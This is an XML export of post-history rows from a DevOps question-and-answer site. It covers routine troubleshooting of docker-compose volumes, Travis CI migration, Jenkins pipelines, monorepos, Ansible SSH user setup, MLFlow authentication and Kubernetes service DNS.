  <row Id="28430" PostHistoryTypeId="24" PostId="9522" RevisionGUID="02ef81c0-44bb-4184-9da4-43dca87359b9" CreationDate="2019-10-22T16:52:50.900" Comment="Proposed by 354 approved by 397, -1 edit id of 1105" ContentLicense="CC BY-SA 4.0" />
  <row Id="28431" PostHistoryTypeId="5" PostId="9522" RevisionGUID="72285385-88e3-486a-a2f2-3f193100db17" CreationDate="2019-10-22T16:52:50.900" UserId="40" Comment="edited body; edited title" Text="I'm trying to create a volume to be shared among the containers, and this volume binds to a location of my host, the problem is that every time I run the docker-compose up gives the  following error: &#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;In file '. \ docker-compose.yml', service 'volumes' must be a mapping not an array.&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA; and so far I didn't understand why.  Following is the compose file:&#xD;&#xA;&#xD;&#xA;```yml&#xD;&#xA;&#xD;&#xA;version : '3.4'&#xD;&#xA;&#xD;&#xA;services:&#xD;&#xA;    testando-volume-compartilhado-a:&#xD;&#xA;      image: carloshenriquecarniatto/teste:latest&#xD;&#xA;    &#xD;&#xA;    volumes:&#xD;&#xA;       - D:\App:/app&#xD;&#xA;    ports:&#xD;&#xA;        - &quot;10001:80&quot;&#xD;&#xA;        - &quot;44378:443&quot; &#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="28432" PostHistoryTypeId="4" PostId="9522" RevisionGUID="72285385-88e3-486a-a2f2-3f193100db17" CreationDate="2019-10-22T16:52:50.900" UserId="40" Comment="edited body; edited title" Text="Why does my Docker composer not work with volume?" ContentLicense="CC BY-SA 4.0" />
  <row Id="28433" PostHistoryTypeId="16" PostId="9523" RevisionGUID="78564d53-125b-4b8e-8a56-542d3981c829" CreationDate="2019-10-22T16:55:28.810" UserId="354" />
  <row Id="28434" PostHistoryTypeId="5" PostId="9523" RevisionGUID="78564d53-125b-4b8e-8a56-542d3981c829" CreationDate="2019-10-22T16:55:28.810" UserId="354" Comment="Added Richard's suggestion" Text="It seems there is a spacing issue in your yaml&#xD;&#xA;&#xD;&#xA;You should change the compose file to&#xD;&#xA;&#xD;&#xA;```yaml&#xD;&#xA;version : '3.4'&#xD;&#xA;&#xD;&#xA;services:&#xD;&#xA;    testando-volume-compartilhado-a:&#xD;&#xA;      image: carloshenriquecarniatto/teste:latest&#xD;&#xA;&#xD;&#xA;    volumes:        &#xD;&#xA;        - D:\App:/app  # &lt;- extra space here&#xD;&#xA;    ports:&#xD;&#xA;        - &quot;10001:80&quot;&#xD;&#xA;        - &quot;44378:443&quot; &#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="28435" PostHistoryTypeId="50" PostId="8209" RevisionGUID="116c836a-f1cc-4853-a375-5506d510c38e" CreationDate="2019-10-22T19:02:15.333" UserId="-1" />
  <row Id="28436" PostHistoryTypeId="50" PostId="8968" RevisionGUID="8d7916b8-6691-429a-a8de-5329dfde619f" CreationDate="2019-10-22T20:01:05.120" UserId="-1" />
  <row Id="28437" PostHistoryTypeId="2" PostId="9527" RevisionGUID="9caaa609-2747-40f6-aab7-a72fed621a0b" CreationDate="2019-10-22T20:07:41.273" UserId="9665" Text="My apologies if the title does not make much sense. I'm not sure the name of the limbo I am in.&#xD;&#xA;&#xD;&#xA;I contribute to several free/open source projects. For example, one of the projects is Wei Dai's [Crypto++](https://github.com/weidai11/cryptopp). My testing fork is on GitHub at [Noloader-Crypto++](https://github.com/noloader/cryptopp).&#xD;&#xA;&#xD;&#xA;Today three of my projects went missing, including Crypto++. Crypto++ looks like it has been reset. The entire build history is missing, and there's a hammer and nail animation when visiting the [Travis page](https://travis-ci.com/noloader/cryptopp). Whatever happened, it happened sometime today.&#xD;&#xA;&#xD;&#xA;After poking around I found them moved to the Migrate area. I don't know what migrate is and how to achieve it. Migrate is greyed out so I probably can't migrate even if that is what I am supposed to do.&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;I'd like to move the repos back to the free/open source project area so I can run jobs again.&#xD;&#xA;&#xD;&#xA;How do I get out of Migration purgatory? Or how do I move the repos back to the free/open source projects area so I can run jobs again?&#xD;&#xA;&#xD;&#xA;This may (or may not) be related: [What's the difference between travis-ci.org and travis-ci.com?](https://devops.stackexchange.com/q/1201/9665). But I don't really understand what is going on or migration to connect the dots.&#xD;&#xA;&#xD;&#xA;Thanks in advance.&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/iAZ1K.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="28438" PostHistoryTypeId="1" PostId="9527" RevisionGUID="9caaa609-2747-40f6-aab7-a72fed621a0b" CreationDate="2019-10-22T20:07:41.273" UserId="9665" Text="How to exit Migration purgatory on Travis CI for free/open source project?" ContentLicense="CC BY-SA 4.0" />
  <row Id="28439" PostHistoryTypeId="3" PostId="9527" RevisionGUID="9caaa609-2747-40f6-aab7-a72fed621a0b" CreationDate="2019-10-22T20:07:41.273" UserId="9665" Text="&lt;travis-ci&gt;&lt;migration&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="28440" PostHistoryTypeId="5" PostId="5189" RevisionGUID="172f2b6a-5489-4df7-adbf-fb782b72e988" CreationDate="2019-10-22T20:24:55.693" UserId="4852" Comment="formatting" Text="```&#xA;pipeline {&#xA;    agent any &#xA;    stages { &#xA;       stage(“Tests”) {&#xA;            when { expression { branch==“master”} }&#xA;            steps { echo “FUT”}&#xA;       }&#xA;    }&#xA;}&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="28441" PostHistoryTypeId="24" PostId="5189" RevisionGUID="172f2b6a-5489-4df7-adbf-fb782b72e988" CreationDate="2019-10-22T20:24:55.693" Comment="Proposed by 4852 approved by 7370 edit id of 1106" ContentLicense="CC BY-SA 4.0" />
  <row Id="28442" PostHistoryTypeId="50" PostId="9216" RevisionGUID="574d874f-8bae-4c74-8a86-ee9f63b0e104" CreationDate="2019-10-22T21:01:40.223" UserId="-1" />
  <row Id="28443" PostHistoryTypeId="5" PostId="9527" RevisionGUID="cdbd0fd5-6543-4d4b-9069-0179f41534f8" CreationDate="2019-10-22T21:39:29.100" UserId="739" Comment="remove premature thanks" Text="My apologies if the title does not make much sense. I'm not sure the name of the limbo I am in.&#xD;&#xA;&#xD;&#xA;I contribute to several free/open source projects. For example, one of the projects is Wei Dai's [Crypto++](https://github.com/weidai11/cryptopp). My testing fork is on GitHub at [Noloader-Crypto++](https://github.com/noloader/cryptopp).&#xD;&#xA;&#xD;&#xA;Today three of my projects went missing, including Crypto++. Crypto++ looks like it has been reset. The entire build history is missing, and there's a hammer and nail animation when visiting the [Travis page](https://travis-ci.com/noloader/cryptopp). Whatever happened, it happened sometime today.&#xD;&#xA;&#xD;&#xA;After poking around I found them moved to the Migrate area. I don't know what migrate is and how to achieve it. Migrate is greyed out so I probably can't migrate even if that is what I am supposed to do.&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;I'd like to move the repos back to the free/open source project area so I can run jobs again.&#xD;&#xA;&#xD;&#xA;How do I get out of Migration purgatory? Or how do I move the repos back to the free/open source projects area so I can run jobs again?&#xD;&#xA;&#xD;&#xA;This may (or may not) be related: [What's the difference between travis-ci.org and travis-ci.com?](https://devops.stackexchange.com/q/1201/9665). But I don't really understand what is going on or migration to connect the dots.&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/iAZ1K.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="28444" PostHistoryTypeId="2" PostId="9528" RevisionGUID="428e2eb8-223d-4a39-b006-e262d702a507" CreationDate="2019-10-22T21:43:28.123" UserId="17748" Text="We currently have a &quot;front-end&quot; git repository that is all of our JavaScript client apps, and a &quot;back-end&quot; git repository containing all back end APIs written in .NET Core.  There is also a few other random repositories built on differing technologies. This is all managed via Azure DevOps, which I believe will let us trigger builds on particular paths.&#xD;&#xA;&#xD;&#xA;    front-end repo&#xD;&#xA;    -- applications&#xD;&#xA;    ----app1&#xD;&#xA;    ----app2&#xD;&#xA;    -- common-library&#xD;&#xA;&#xD;&#xA;    back-end repo&#xD;&#xA;    -- apis&#xD;&#xA;    ----api1&#xD;&#xA;    ----api2&#xD;&#xA;    --common-library&#xD;&#xA;&#xD;&#xA;    some .net-core-product repo&#xD;&#xA;&#xD;&#xA;We were considering putting everything in a single mono-repo because it is easier for the developers to manage with git clients such as Visual Studio.  I cannot find an example of a multi-language monorepo - is there an example on github? What are the pros/cons? " ContentLicense="CC BY-SA 4.0" />
  <row Id="28445" PostHistoryTypeId="1" PostId="9528" RevisionGUID="428e2eb8-223d-4a39-b006-e262d702a507" CreationDate="2019-10-22T21:43:28.123" UserId="17748" Text="Multi-language Monorepo" ContentLicense="CC BY-SA 4.0" />
  <row Id="28446" PostHistoryTypeId="3" PostId="9528" RevisionGUID="428e2eb8-223d-4a39-b006-e262d702a507" CreationDate="2019-10-22T21:43:28.123" UserId="17748" Text="&lt;continuous-integration&gt;&lt;git&gt;&lt;azure-devops&gt;&lt;monorepo&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="28447" PostHistoryTypeId="5" PostId="3866" RevisionGUID="2705f69a-c127-4bc6-8edf-5be195cba55b" CreationDate="2019-10-22T22:59:09.097" UserId="739" Comment="move link into content." Text="I'm currently trying to atopt my declarative pipeline in the following way:&#xD;&#xA;&#xD;&#xA;I have multiple stages, some apply for all branches, some only for specific names.&#xD;&#xA;&#xD;&#xA;What I'm now searching for is a way to get a when condition for the existance of a branch like this:&#xD;&#xA;&#xD;&#xA;    if branch b exist&#xD;&#xA;       checkout branch b&#xD;&#xA;    else&#xD;&#xA;       checkout branch a&#xD;&#xA;&#xD;&#xA;Sadly I haven't found a solution for it. I'm pretty sure there is a way using the **git plugin** though.&#xD;&#xA;&#xD;&#xA;There's a [StackOverflow solution][1] for scripted pipelines. I can't translate them though.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Can someone help me with this or point me at the right direction?&#xD;&#xA;  [1]: https://stackoverflow.com/questions/19508326/jenkins-git-branch-selection-with-fallback/48579241#comment86569907_48579241" ContentLicense="CC BY-SA 4.0" />
  <row Id="28448" PostHistoryTypeId="2" PostId="9529" RevisionGUID="bcfc98fb-a759-40b4-9336-bf64b30fa198" CreationDate="2019-10-22T23:25:16.987" UserId="739" Text="Monorepos have been getting a lot of attention in recent years since [google popularized them](https://medium.com/@Jakeherringbone/you-too-can-love-the-monorepo-d95d1d6fcebe).  If you aren't on a similar scale as google it might not work out as well for you.  I've been in a startup that moved to monorepos and we quickly found that:&#xD;&#xA;&#xD;&#xA;* most tools are built with one repo leading to one artifact that gets deployed.  You will have to rework all of those tools to handle the monorepo.  [There are tools that are designed for monorepos.](https://github.com/korfuri/awesome-monorepo)&#xD;&#xA;* a monorepo puts all of your eggs in one basket.  If somebody steals a laptop would you rather them get half of your code or all of it?  Keeping things in their own repos reduces exposure.&#xD;&#xA;* your CI for code validation is now much more complicated.  You need to support multiple languages in your code conformance tests.  Developers will get upset when you check backend stuff and they've only made frontend changes.  Now you're stuck trying to figure out how to disable some CI checks, but make sure they're enabled when needed.&#xD;&#xA;&#xD;&#xA;All of this adds up to a load of work for release engineers.  Do you have people focused on release engineering with free time to tackle multiple complicated projects?  Google can make this work because they have hordes of engineers and they can dedicate ten folks to this sort of thing for months until it is smooth enough to develop on top of.  If you are not at the same scale as google you might not be able to follow their example.  The folks that have succeeded with this [tend to be big organizations](https://en.wikipedia.org/wiki/Monorepo).  You may not have found an open source example because none exists.&#xD;&#xA;&#xD;&#xA;These points are also noted in [this article](https://medium.com/@mattklein123/monorepos-please-dont-e9a279be011b):&#xD;&#xA;&#xD;&#xA;&gt; The frank reality is that, at scale, how well an organization does with code sharing, collaboration, tight coupling, etc. is a direct result of engineering culture and leadership, and has nothing to do with whether a monorepo or a polyrepo is used. The two solutions end up looking identical to the developer. In the face of this, why use a monorepo in the first place? Please don’t!&#xD;&#xA;&#xD;&#xA;So focus on improving your engineering culture and don't get worried about not following the latest tech trends." ContentLicense="CC BY-SA 4.0" />
  <row Id="28449" PostHistoryTypeId="2" PostId="9530" RevisionGUID="825306fa-f68d-4967-8327-9d6828e1abed" CreationDate="2019-10-23T05:35:26.730" UserId="4852" Text="When using [Declarative Pipelines][1] you can achieve the goal of running some steps only for certain branches by using the [when directive][2] with the build-in condition `branch`:&#xD;&#xA;&#xD;&#xA;&gt; **`branch`** Execute the stage when the branch being built matches the branch pattern (ANT style path glob) given, for example: when { branch 'master' }. Note that this only works on a multibranch Pipeline.&#xD;&#xA;&#xD;&#xA;```groovy&#xD;&#xA;pipeline {&#xD;&#xA;    agent any &#xD;&#xA;    stages { &#xD;&#xA;        stage(&quot;Build&quot;) {&#xD;&#xA;            when { branch &quot;master&quot; }&#xD;&#xA;            steps { &#xD;&#xA;               echo &quot;I am a master branch&quot;&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;You may also access the `BRANCH_NAME` from environment variable and do something with it:&#xD;&#xA;&#xD;&#xA;```groovy&#xD;&#xA;if (env.BRANCH_NAME == 'master') {&#xD;&#xA;   //do something&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Also have a look at [Flow Control][3] to understand how you can control the flow of your pipeline.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://jenkins.io/doc/book/pipeline/jenkinsfile/&#xD;&#xA;  [2]: https://jenkins.io/doc/book/pipeline/syntax/#when&#xD;&#xA;  [3]: https://jenkins.io/doc/book/pipeline/syntax/#flow-control" ContentLicense="CC BY-SA 4.0" />
  <row Id="28450" PostHistoryTypeId="2" PostId="9531" RevisionGUID="c6bf2e92-d873-47ea-b60b-10b217bb793a" CreationDate="2019-10-23T07:40:03.873" UserId="17679" Text="Community, I am creating a user on the client machine using Ansible but the issue is it creates a user and add authenticate file but getting an error while SSH to that machine using created, User. Following is my source code.&#xD;&#xA;&#xD;&#xA;      ---&#xD;&#xA;        # This file is used to create a single user or multiple with password  &#xD;&#xA;        - hosts: hostMachine&#xD;&#xA;          become_method: sudo&#xD;&#xA;          become_user: root&#xD;&#xA;          become: true&#xD;&#xA;          gather_facts: no&#xD;&#xA;          vars_files:&#xD;&#xA;            - ../../../group_vars/required_varlist.yml&#xD;&#xA;          tasks:&#xD;&#xA;&#xD;&#xA;            - name: Ensure group is exist&#xD;&#xA;              group:&#xD;&#xA;                name: &quot;{{ item.groups }}&quot;&#xD;&#xA;              with_items:&#xD;&#xA;                - &quot;{{ users }}&quot;&#xD;&#xA;&#xD;&#xA;            - name: create a new user without password&#xD;&#xA;              user:&#xD;&#xA;                name: &quot;{{ item.username }}&quot;&#xD;&#xA;                group: &quot;{{ item.groups }}&quot;&#xD;&#xA;                groups: &quot;sudo,{{ item.username }}&quot;&#xD;&#xA;                shell: /bin/bash&#xD;&#xA;                createhome: yes&#xD;&#xA;              with_items:&#xD;&#xA;                - &quot;{{ users }}&quot;&#xD;&#xA;            &#xD;&#xA;            - name: Add Sudo privileges to user&#xD;&#xA;              command: usermod -aG sudo &quot;{{ item.username }}&quot;&#xD;&#xA;              with_items:&#xD;&#xA;                - &quot;{{ users }}&quot;&#xD;&#xA;            &#xD;&#xA;            - name: Add user in  sudoders  &#xD;&#xA;              shell: sh -c &quot;echo \&quot;&quot;{{ item.username }}&quot; ALL=(ALL) NOPASSWD:ALL\&quot; &gt;&gt; /etc/sudoers&quot;&#xD;&#xA;              with_items:&#xD;&#xA;                - &quot;{{ users }}&quot;&#xD;&#xA;            &#xD;&#xA;            - name: create directory&#xD;&#xA;              file:&#xD;&#xA;                path: &quot;/home/{{ item.username }}/.ssh&quot;&#xD;&#xA;                state: directory&#xD;&#xA;                mode: 0700&#xD;&#xA;                owner: &quot;{{ item.username }}&quot;&#xD;&#xA;                group: &quot;{{ item.groups }}&quot;&#xD;&#xA;              with_items:&#xD;&#xA;                - &quot;{{ users }}&quot;&#xD;&#xA;           &#xD;&#xA;            - name: Set Authorized key token from the file&#xD;&#xA;              become: true&#xD;&#xA;              authorized_key:&#xD;&#xA;                user: &quot;{{ item.username }}&quot;&#xD;&#xA;                state: present&#xD;&#xA;                key: &quot;{{ lookup('file', '{{ pem_file_path }}') }}&quot;&#xD;&#xA;                # path: '/etc/ssh/authorized_keys/&quot;{{ item.username }}&quot;'&#xD;&#xA;              with_items:&#xD;&#xA;                - &quot;{{ users }}&quot;&#xD;&#xA;            &#xD;&#xA;            - name: restart ssh&#xD;&#xA;              service: name=sshd state=restarted&#xD;&#xA; &#xD;&#xA;required_varlist.yml &#xD;&#xA;&#xD;&#xA;      ---&#xD;&#xA;        password: raspberry&#xD;&#xA;        users:&#xD;&#xA;          - username: ABC&#xD;&#xA;            groups: ABC&#xD;&#xA;        pem_file_path: /home/ubuntu/XYZ.pem&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="28451" PostHistoryTypeId="1" PostId="9531" RevisionGUID="c6bf2e92-d873-47ea-b60b-10b217bb793a" CreationDate="2019-10-23T07:40:03.873" UserId="17679" Text="Create User Using Ansible with Authenticate Pem File" ContentLicense="CC BY-SA 4.0" />
  <row Id="28452" PostHistoryTypeId="3" PostId="9531" RevisionGUID="c6bf2e92-d873-47ea-b60b-10b217bb793a" CreationDate="2019-10-23T07:40:03.873" UserId="17679" Text="&lt;ansible&gt;&lt;linux&gt;&lt;authentication&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="28453" PostHistoryTypeId="2" PostId="9532" RevisionGUID="0ee6c5be-d2ff-4d69-84c3-a61dd1f5158b" CreationDate="2019-10-23T09:30:42.307" UserId="397" Text="I suspect what is happening here is you are trying to insert the **private key** into the `authorized_keys` file, which is invalid as only the **public key** is required on the target machine.&#xD;&#xA;&#xD;&#xA;What you need to do is [extract the public key from the private key][1]:&#xD;&#xA;&#xD;&#xA;```yaml&#xD;&#xA;- name: Generate an OpenSSL public key with a passphrase protected private key&#xD;&#xA;  openssl_publickey:&#xD;&#xA;    path: /tmp/key-{{ item.username }}.pub&#xD;&#xA;    privatekey_path: {{ item.pem_file_path }}&#xD;&#xA;    privatekey_passphrase: ansible&#xD;&#xA;    format: OpenSSH&#xD;&#xA;  with_items:&#xD;&#xA;    - &quot;{{ users }}&quot;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;and then use the public key:&#xD;&#xA;&#xD;&#xA;```yaml&#xD;&#xA;- name: Set Authorized key token from the file&#xD;&#xA;  become: true&#xD;&#xA;  authorized_key:&#xD;&#xA;    user: &quot;{{ item.username }}&quot;&#xD;&#xA;    state: present&#xD;&#xA;    key: &quot;{{ lookup('file', '/tmp/key-{{ item.username }}.pub') }}&quot;&#xD;&#xA;  with_items:&#xD;&#xA;    - &quot;{{ users }}&quot;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.ansible.com/ansible/latest/modules/openssl_publickey_module.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="28454" PostHistoryTypeId="2" PostId="9533" RevisionGUID="591001a0-f145-4c36-a00f-607a7cbbb715" CreationDate="2019-10-23T09:51:35.527" UserId="397" Text="It looks like MLFlow doesn't natively support any authentication schemes and [the recommendation][1] is to use a reverse proxy such as Nginx to only forward requests to MLFlow if a valid authentication cookie is provided, redirecting any requests without a cookie or an invalid cookie back to the Identity Provider.&#xD;&#xA;&#xD;&#xA;## Azure AD Application Proxy&#xD;&#xA;&#xD;&#xA;You can [configure Azure AD Application Proxy][2] to add authentication, although you will also need to protect MLFlow from unauthorised access by putting it in a virtual network or creating rules to only accept connections from Azure AD Application Proxy.&#xD;&#xA;&#xD;&#xA;## Used managed ML Flow in Azure&#xD;&#xA;&#xD;&#xA;There is also the potential of using MLFlow that is part of [Azure Databricks][3], which probably also includes authentication.&#xD;&#xA;&#xD;&#xA;## Nginx&#xD;&#xA;&#xD;&#xA;There are [complete instructions][4] on setting this up on the Nginx for a generic application. In summary, however, you will need to:&#xD;&#xA;&#xD;&#xA; - configure Nginx as a reverse proxy&#xD;&#xA; - prevent access to MLFlow from anything other than Nginx&#xD;&#xA; - create an application in Azure Active Directory for Nginx&#xD;&#xA; - configure Nginx to look for the JWT token and validate it&#xD;&#xA;&#xD;&#xA;You would also be able to use other products such as [Google's Identity Aware Proxy][5] and [ForgeRock's Identity Gateway][6].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://groups.google.com/forum/#!topic/mlflow-users/E9QW4HdS8a8&#xD;&#xA;  [2]: https://docs.microsoft.com/en-us/azure/active-directory/manage-apps/application-proxy&#xD;&#xA;  [3]: https://docs.azuredatabricks.net/&#xD;&#xA;  [4]: https://www.nginx.com/blog/conditional-access-control-with-microsoft-azure-active-directory/&#xD;&#xA;  [5]: https://cloud.google.com/iap/&#xD;&#xA;  [6]: https://www.forgerock.com/platform/identity-gateway" ContentLicense="CC BY-SA 4.0" />
  <row Id="28458" PostHistoryTypeId="2" PostId="9535" RevisionGUID="8c733b9b-a829-4bd4-b862-64b2b8895b95" CreationDate="2019-10-23T11:28:31.727" UserId="17606" Text="I have an in house 5 node cluster running on bare-metal and I am using Calico. The cluster was working for 22 days but suddenly it stopped working. After investigating the problem I found out that the service to pod communication is broken while all the components are up and kubectl is working without a problem.&#xD;&#xA;&#xD;&#xA;From within the cluster (component A) if I try to curl another component (`bridge`) with its IP it works:&#xD;&#xA;```&#xD;&#xA;$ curl -vvv http://10.4.130.184:9998&#xD;&#xA;* Rebuilt URL to: http://10.4.130.184:9998/&#xD;&#xA;*   Trying 10.4.130.184...&#xD;&#xA;* TCP_NODELAY set&#xD;&#xA;* Connected to 10.4.130.184 (10.4.130.184) port 9998 (#0)&#xD;&#xA;&gt; GET / HTTP/1.1&#xD;&#xA;&gt; Host: 10.4.130.184:9998&#xD;&#xA;&gt; User-Agent: curl/7.58.0&#xD;&#xA;&gt; Accept: */*&#xD;&#xA;&gt; &#xD;&#xA;&lt; HTTP/1.1 200 OK&#xD;&#xA;&lt; X-Powered-By: Express&#xD;&#xA;&lt; Accept-Ranges: bytes&#xD;&#xA;&lt; Cache-Control: public, max-age=0&#xD;&#xA;&lt; Last-Modified: Mon, 08 Apr 2019 14:06:42 GMT&#xD;&#xA;&lt; ETag: W/&quot;179-169fd45c550&quot;&#xD;&#xA;&lt; Content-Type: text/html; charset=UTF-8&#xD;&#xA;&lt; Content-Length: 377&#xD;&#xA;&lt; Date: Wed, 23 Oct 2019 09:56:35 GMT&#xD;&#xA;&lt; Connection: keep-alive&#xD;&#xA;&lt; &#xD;&#xA;&lt;!doctype html&gt;&#xD;&#xA;&lt;html lang=&quot;en&quot;&gt;&#xD;&#xA;&lt;head&gt;&#xD;&#xA;	&lt;meta charset=&quot;utf-8&quot; /&gt;&#xD;&#xA;	&lt;meta http-equiv=&quot;X-UA-Compatible&quot; content=&quot;IE=edge,chrome=1&quot; /&gt;&#xD;&#xA;&#xD;&#xA;	&lt;title&gt;Bridge&lt;/title&gt;&#xD;&#xA;&#xD;&#xA;	&lt;meta content='width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=0' name='viewport' /&gt;&#xD;&#xA;    &lt;meta name=&quot;viewport&quot; content=&quot;width=device-width&quot; /&gt;&#xD;&#xA;&lt;/head&gt;&#xD;&#xA;&lt;body&gt;&#xD;&#xA;    &lt;h1&gt;Bridge&lt;/h1&gt;&#xD;&#xA;&lt;/body&gt;&#xD;&#xA;&#xD;&#xA;&lt;/html&gt;&#xD;&#xA;* Connection #0 to host 10.4.130.184 left intact&#xD;&#xA;```&#xD;&#xA;ns lookup for the service is also working (it resolve to the service IP):&#xD;&#xA;```&#xD;&#xA;$ nslookup bridge&#xD;&#xA;Server:    10.5.0.10&#xD;&#xA;Address 1: 10.5.0.10 kube-dns.kube-system.svc.k8s.local&#xD;&#xA;&#xD;&#xA;Name:      bridge&#xD;&#xA;Address 1: 10.5.160.50 bridge.170.svc.k8s.local&#xD;&#xA;```&#xD;&#xA;But the service to pod communication is broken and when I curl to the service name most of the times (60-70%) it stuck:&#xD;&#xA;```&#xD;&#xA;$ curl -vvv http://bridge:9998&#xD;&#xA;* Rebuilt URL to: http://bridge:9998/&#xD;&#xA;* Could not resolve host: bridge&#xD;&#xA;* Closing connection 0&#xD;&#xA;curl: (6) Could not resolve host: bridge&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;When I check the endpoints of the that service I can see that the IP of that pod is there:&#xD;&#xA;```&#xD;&#xA;$ kubectl get ep -n 170 bridge&#xD;&#xA;NAME     ENDPOINTS                                               AGE&#xD;&#xA;bridge   10.4.130.184:9226,10.4.130.184:9998,10.4.130.184:9226   11d&#xD;&#xA;```&#xD;&#xA;But as I said the curl (and any other method) that uses the service name is not working. And this is the service description:&#xD;&#xA;```&#xD;&#xA;$ kubectl describe svc -n 170 bridge&#xD;&#xA;Name:              bridge&#xD;&#xA;Namespace:         170&#xD;&#xA;Labels:            io.kompose.service=bridge&#xD;&#xA;Annotations:       Process: bridge&#xD;&#xA;Selector:          io.kompose.service=bridge&#xD;&#xA;Type:              ClusterIP&#xD;&#xA;IP:                10.5.160.50&#xD;&#xA;Port:              9998  9998/TCP&#xD;&#xA;TargetPort:        9998/TCP&#xD;&#xA;Endpoints:         10.4.130.184:9998&#xD;&#xA;Port:              9226  9226/TCP&#xD;&#xA;TargetPort:        9226/TCP&#xD;&#xA;Endpoints:         10.4.130.184:9226&#xD;&#xA;Port:              9226-udp  9226/UDP&#xD;&#xA;TargetPort:        9226/UDP&#xD;&#xA;Endpoints:         10.4.130.184:9226&#xD;&#xA;Session Affinity:  None&#xD;&#xA;Events:            &lt;none&gt;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;This problem is not limited to just this component and it is like this for all the components.&#xD;&#xA;&#xD;&#xA;I restarted the CoreDNS and the kube-proxy (deleted their pods) but it is stll the same. I was facing this problem before and previous time I thought it is related to Weavenet that I was using and I needed the cluster so I tore down the cluster and rebuilt it with Calico but now I am sure that this is not related to CNI and it is something else. &#xD;&#xA;&#xD;&#xA;**Environment**:&#xD;&#xA;- Kubernetes version (use `kubectl version`):&#xD;&#xA;```&#xD;&#xA;Client Version: version.Info{Major:&quot;1&quot;, Minor:&quot;14&quot;, GitVersion:&quot;v1.14.1&quot;, GitCommit:&quot;b7394102d6ef778017f2ca4046abbaa23b88c290&quot;, GitTreeState:&quot;clean&quot;, BuildDate:&quot;2019-04-08T17:11:31Z&quot;, GoVersion:&quot;go1.12.1&quot;, Compiler:&quot;gc&quot;, Platform:&quot;linux/amd64&quot;}&#xD;&#xA;Server Version: version.Info{Major:&quot;1&quot;, Minor:&quot;16&quot;, GitVersion:&quot;v1.16.0&quot;, GitCommit:&quot;2bd9643cee5b3b3a5ecbd3af49d09018f0773c77&quot;, GitTreeState:&quot;clean&quot;, BuildDate:&quot;2019-09-18T14:27:17Z&quot;, GoVersion:&quot;go1.12.9&quot;, Compiler:&quot;gc&quot;, Platform:&quot;linux/amd64&quot;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;- Cloud provider or hardware configuration:&#xD;&#xA;This is a bare-metal cluster of 5 nodes, 1 master and 4 workers. All nodes are running Ubuntu 18.04 and they are connecting to the same subnet.&#xD;&#xA;&#xD;&#xA;- OS (e.g: `cat /etc/os-release`):&#xD;&#xA;```&#xD;&#xA;NAME=&quot;Ubuntu&quot;&#xD;&#xA;VERSION=&quot;18.04.2 LTS (Bionic Beaver)&quot;&#xD;&#xA;ID=ubuntu&#xD;&#xA;ID_LIKE=debian&#xD;&#xA;PRETTY_NAME=&quot;Ubuntu 18.04.2 LTS&quot;&#xD;&#xA;VERSION_ID=&quot;18.04&quot;&#xD;&#xA;HOME_URL=&quot;https://www.ubuntu.com/&quot;&#xD;&#xA;SUPPORT_URL=&quot;https://help.ubuntu.com/&quot;&#xD;&#xA;BUG_REPORT_URL=&quot;https://bugs.launchpad.net/ubuntu/&quot;&#xD;&#xA;PRIVACY_POLICY_URL=&quot;https://www.ubuntu.com/legal/terms-and-policies/privacy-policy&quot;&#xD;&#xA;VERSION_CODENAME=bionic&#xD;&#xA;UBUNTU_CODENAME=bionic&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;- Kernel (e.g. `uname -a`):&#xD;&#xA;```&#xD;&#xA;Linux serflex-argus-1 4.15.0-55-generic #60-Ubuntu SMP Tue Jul 2 18:22:20 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;- Install tools:&#xD;&#xA;Kubeadm&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;- Network plugin and version (if this is a network-related bug):&#xD;&#xA;Calico&#xD;&#xA;&quot;cniVersion&quot;: &quot;0.3.1&quot;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="28459" PostHistoryTypeId="1" PostId="9535" RevisionGUID="8c733b9b-a829-4bd4-b862-64b2b8895b95" CreationDate="2019-10-23T11:28:31.727" UserId="17606" Text="service-to-pod communication is broken in kubernetes" ContentLicense="CC BY-SA 4.0" />
  <row Id="28460" PostHistoryTypeId="3" PostId="9535" RevisionGUID="8c733b9b-a829-4bd4-b862-64b2b8895b95" CreationDate="2019-10-23T11:28:31.727" UserId="17606" Text="&lt;kubernetes&gt;&lt;dns&gt;" ContentLicense="CC BY-SA 4.0" />
